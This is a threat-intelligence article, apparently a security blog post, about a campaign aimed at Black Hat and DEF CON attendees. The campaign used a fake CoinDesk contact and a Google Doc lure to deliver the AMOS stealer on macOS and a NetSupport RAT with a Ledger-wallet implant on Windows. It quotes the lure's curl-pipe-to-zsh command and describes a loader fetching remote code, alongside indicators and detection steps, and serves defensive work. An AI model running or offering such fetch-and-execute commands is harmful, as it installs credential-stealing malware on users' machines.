On August 9, 2025, an X account operating as @HartmansDoeke sent direct messages to attendees returning from Black Hat and DEF CON, posing as CoinDesk's VP and Head of Marketing and asking for help with an upcoming online conference. Huntress researchers identified the campaign after one of their own analysts was targeted. The account mixed one person's photograph with another person's name, and it was blanketing cybersecurity accounts on X with near-identical boilerplate replies. Original reporting for this article comes from Huntress.
The lure was a Google Doc that looked like a conference planning document. When an authenticated Google user opened it, a custom Google Apps Script sidebar loaded alongside the document, built from a file named DecryptPanel.html. The doc claimed to be partially encrypted and asked for an "encryption key" that the actor supplied over DM.
That key was designed to fail. The failed decryption is the pivot point: once the target believes something has broken, the sidebar offers "Document Decryption" and "Manual Update" options, both of which run attacker code. The panel validated a small set of hard-coded keys, collected victim and host details, and reported activity through Telegram, with Russian-language comments left in the script.
On macOS, the ClickFix-style path instructed targets to paste curl -fsSL https://apple-googleapi[.]com/i | zsh into a terminal. The manual path pointed at an actor-run GitHub Releases page hosting GAPIUpdate.dmg, an ad-hoc signed bundle with instructions walking the user through bypassing Apple's Gatekeeper and entering their password.
Static analysis matched Atomic macOS Stealer (AMOS). It targets browser passwords and cookies, cryptocurrency wallets, keychain data, and Telegram files, staging output in /tmp/lksopo before shipping it to http://86.54.25[.]213/log. If your staff exchange documents with new contacts after industry events, the social pretext here is indistinguishable from routine follow-up, and the credentials it collects give an attacker legitimate access to your accounts.
Attack Chain: From Phishing Link to Persistent Ledger Wallet Access
The chain has two independent execution paths, and both start from the same sidebar. DecryptPanel.html validated a small set of hard-coded keys, fingerprinted the victim and host, reported activity through Telegram, and then branched based on operating system. The Russian-language code comments in the Apps Script are one of the few operator artifacts left in the initial stage.
On macOS, the ClickFix-style prompt (MITRE ATT&CK T1204.004, malicious copy-paste) asked the target to run curl -fsSL https://apple-googleapi[.]com/i | zsh. That endpoint was broken during Huntress testing, redirecting into a loop that pointed at 127.0.0.1:43695 and returned repeated 301 responses across 108 requests. The fallback path is what actually worked.
The "Manual Update" option sent victims to an actor-controlled GitHub Releases page hosting GAPIUpdate.dmg (executable SHA-256 15afe14b5db2896d35a0c4f3139db85158da120fa90613c975c88f10bbbcc420). The bundle is ad-hoc signed, and the on-screen instructions walk the user through bypassing Gatekeeper (T1553.001) and entering their account password. Static analysis matched Atomic macOS Stealer.
AMOS collection here was narrow on purpose. It takes browser passwords and cookies, cryptocurrency wallets, keychain data, and Telegram files, then triggers a single TCC prompt for the Notes.app database, copying its contents to an HTML file staged in /tmp/lksopo alongside the rest of the loot before archiving and posting it to http://86.54.25[.]213/log. It never enumerates ~/Desktop or ~/Documents, which keeps the TCC prompt count down and reduces what a user would notice.
Persistence comes from a server-generated plist. The stealer requests http://192.253.248[.]181/api/v1/getscpt/<username>, receives a LaunchDaemon written to /Library/LaunchDaemons/com.xdivcmp.plist, and starts it with launchctl bootstrap. A LaunchDaemon runs in a privileged context at system start independent of user login (T1543.004), so the backdoor survives reboots and the user logging out. Configuration lives in dotfiles rather than the plist itself: ~/.phost, ~/.bhost, ~/.botid, ~/.pwd (the stolen password), ~/.uninstalled, and ~/.lastaction. The agent polls for actions including doshell for arbitrary command execution and enablesocks5, which turns the host into a SOCKS5 proxy node. That last one means your Mac can be used to relay someone else's traffic while attributable to your IP space.
The Windows path ran through ClickOnce. A signed GapiUpdate.application manifest pointed to https://gapidriver[.]com/installer/GapiUpdate.application, carrying a certificate belonging to a Norwegian company that appears stolen or fraudulently issued. The manual variant instead pasted an encrypted PowerShell command that wrote %TEMP%\sys.ps1, pulled the loader from https://1foqo[.]lat/core4, ran it with Invoke-Expression, and deleted the file. Follow-on encrypted payloads staged into %LOCALAPPDATA%\Microsoft\Windows\UpdateCache from 2fksf[.]lat and 3pqow[.]lat.
The DocSend-branded second lure delivered the real Windows capability. Stage three pulled three archives from eu03hub[.]com/get_file?file=, and NetSupport Manager 14.10.0004 carried persistence for all of them:
- Kernel-mode keyboard filter driver at
C:\Windows\system32\drivers\nskbfltr.sys, registered as a service underHKLM\SYSTEM\...\Services\nskbfltr, plus Winlogon modification and a registered COM object. - Gateways at
msedgewebview1[.]proandmsedgewebview2[.]pro, both resolving to87.120.104[.]88(AS211443), running cleartext HTTP on port 443. - Tray icon off, silent mode on, hidden when idle, chat and disconnection alerts disabled.
The Ledger implant is the objective. It writes a Run key named "Ledger Wallet Installer" (T1547.001), checks C:\Program Files\Ledger Live and C:\Program Files\Ledger Wallet, and stores its sixteen-character bot ID in %APPDATA%\Ledger Live\app.crc32, which it then sends to https://eu07connect[.]com/api/commands/<bot id>. It polled 18 times during analysis and received empty responses, consistent with an operator reviewing hosts before tasking them.
Why macOS Users and Cryptocurrency Holders Are Primary Targets
AMOS collects browser passwords and cookies, keychain data, cryptocurrency wallet files, and Telegram data, then triggers a single TCC prompt asking for access to the entire Notes.app database. That last item matters more than it looks. Notes is where people keep recovery codes, seed phrases, license keys, and account details they did not want in a password manager, and the stealer copies the contents into an HTML file staged with the rest of the loot in /tmp/lksopo before archiving and shipping it to 86.54.25[.]213/log.
The keychain grab is what turns one laptop into a broader problem for you. Saved credentials, certificates, and session cookies pulled from a security engineer's machine let an attacker resume authenticated sessions without needing a password prompt or a second factor. Your stolen local account password also lands in ~/.pwd on disk, which gives the backdoor privileged operations on that host.
The polling agent accepts an action called enablesocks5, which converts the compromised Mac into a SOCKS5 proxy node. If that runs on your network, other people's traffic exits through your corporate IP address, and the abuse reports, blocklistings, and attribution questions land on you.
Cryptocurrency exposure is the most direct financial loss in the chain. The Windows path drops an implant that enumerates C:\Program Files\Ledger Live and C:\Program Files\Ledger Wallet for configuration files and writes a sixteen character bot identifier into %APPDATA%\Ledger Live\app.crc32 before polling eu07connect[.]com for tasking. Wallet theft has no chargeback and no reversal path. Money moved out of a wallet is gone, and that hits an individual employee's personal finances as readily as a company treasury.
The targeting choice is deliberate. Conference attendees returning from Black Hat and DEF CON are disproportionately security practitioners, which means their laptops carry cloud API tokens, VPN profiles, SSH material, and administrative credentials into client or production environments. The impersonation of a CoinDesk marketing executive narrows it further toward people who work near cryptocurrency. If you run a consultancy or an MSP, one compromised analyst workstation is a path into every environment that analyst touches.
NetSupport Manager 14.10.0004 supplies the interactive access that makes follow-on activity cheap for the operator. The configuration disables the tray icon, enables silent mode, hides the client when idle, and switches off chat, messaging, client connections, and disconnection alerts, so your user has no interface through which to notice or end the session. Gateway traffic runs cleartext HTTP on port 443 to msedgewebview1[.]pro and msedgewebview2[.]pro, names chosen to read as ordinary Edge WebView activity in a process list or flow log.
Cleanup costs are higher here than a typical stealer case. The TLS-intercepting payload installs a self-signed authority presenting as O=Google Trust Services, CN=WR3 into the system root store, adds a hosts file entry, and creates an inbound firewall rule named "LocalProxy." Those changes persist after the process is gone, and the authority's private key sits on disk, so any domain can be minted with a certificate your browser accepts. A fresh authority is generated on every host.
For your incident response team, that means a compromised machine needs full reimaging, credential and secret rotation, and a review of every system those credentials reached. If the host held client data or keys to regulated systems, your legal and notification obligations follow from that access.
Detection and Immediate Response for AMOS and NetSupport RAT
Start with the macOS hosts of anyone who traded direct messages with a new "conference organizer" contact after Hacker Summer Camp. Search ~/Downloads, ~/Desktop, and ~/Library/Caches for GAPIUpdate.dmg, and check the app bundle executable against SHA-256 15afe14b5db2896d35a0c4f3139db85158da120fa90613c975c88f10bbbcc420. If that file is present, treat the host as compromised and move to containment rather than analysis.
The rest of the work follows the order of the NIST Cybersecurity Framework. Inventory first, then block, then hunt, then contain, then rebuild.
On the identification side, the backdoor leaves cheap, high-confidence artifacts. Check for the LaunchDaemon at /Library/LaunchDaemons/com.xdivcmp.plist, confirm whether it is loaded with launchctl list | grep xdivcmp, and list the hidden configuration files the agent writes into the user's home directory: ~/.phost, ~/.bhost, ~/.botid, ~/.pwd, and ~/.lastaction. The presence of ~/.pwd means the account password was captured and typed into a prompt, so that credential and everything it unlocks needs to be treated as known to the operator.
For prevention, block the delivery and command infrastructure at your DNS resolver and egress filter before you finish the hunt: docsend[.]online, gapidriver[.]com, web12api[.]com and its subdomains, eu03hub[.]com, eu07connect[.]com, 1foqo[.]lat, 2fksf[.]lat, and 3pqow[.]lat. Because the installers carried code-signing certificates stolen from Discord Inc. and Lenovo whose signatures do not validate, signature presence alone is not a trust decision. Configure application control to require valid chains, and restrict ClickOnce deployment so a .application manifest cannot pull an installer from an arbitrary web host.
Detection on Windows centers on three durable changes. Query the root certificate store with certutil -store ROOT for an authority presenting as O=Google Trust Services, CN=WR3, inspect the hosts file for a 127.0.0.1 www.virustotal.com entry, and list inbound firewall rules for one named LocalProxy bound to MsBuild.exe. For the RAT, alert on the keyboard filter driver C:\Windows\system32\drivers\nskbfltr.sys, its service key under HKLM\SYSTEM\...\Services\nskbfltr, and outbound sessions to msedgewebview1[.]pro or msedgewebview2[.]pro and 87.120.104[.]88. That traffic runs cleartext HTTP on port 443, so a flow rule that flags non-TLS payloads on 443 catches it even after the domains rotate. Also check for a Run key named "Ledger Wallet Installer" and the file %APPDATA%\Ledger Live\app.crc32, which holds the sixteen-character bot identifier.
Containment is straightforward. Isolate the host from the network, collect memory and disk evidence, then reimage. Assume every credential on the machine is in the operator's hands, revoke active sessions, reset passwords, and rotate API keys, SSH keys, and cloud tokens stored locally. Where hardware wallets are in use, move funds to a new seed generated on a clean device. In environments Capstone manages, Adlumin monitors authentication behavior for the follow-on logins that stolen keychain and browser credentials enable, which is the activity that continues after the endpoint is wiped.
Recovery has one step people skip. Reimaging removes the malware and leaves the rogue certificate authority behind if the root store was not cleaned, and its private key was written to disk beside the certificates, so the operator can mint a trusted certificate for any domain. Verify the root store on every rebuilt host, and confirm the hosts file and firewall rule are back to baseline before returning the machine to service.
Critical Actions for Affected Organizations and Users
Treat any interaction with these lures as a confirmed compromise, not a near miss. The Windows chain reported starts, completions, and failures back to the operator, and the Ledger implant polled its command channel eighteen times during analysis while every response came back empty. An idle channel means an operator who reviews hosts before tasking them, so a quiet endpoint tells you nothing about whether your host was catalogued.
Two artifacts outlast the malware that installed them on Windows hosts. The rogue certificate authority presenting as O=Google Trust Services, CN=WR3, its private key written to disk, plus the hosts file entry pointing www.virustotal.com at 127.0.0.1 and the inbound "LocalProxy" firewall rule, all survive a reboot and stay trusted after the proxy process is gone. That authority is generated fresh per host, so it is the item most often missed when a machine is declared clean.
Assume the scope is wider than the two brands documented here. The same operator served the loader as DocSend and SignNow from one domain, and the numbered infrastructure pattern (eu03hub, eu07connect, web12api, 02api) points to more branded variants than the four Huntress observed. Your staff may see a different product name attached to the identical workflow.
The contact attempts also continued after the payloads failed. The operator sent a second document the following day and then pivoted to what appeared to be a funding scam aimed at collecting credentials or personal data, so a single ignored message did not end the outreach.
The most useful next step is a targeted audit of macOS hosts belonging to conference attendees, looking for the LaunchDaemon persistence and NetSupport RAT indicators published in the Huntress IOC repository.
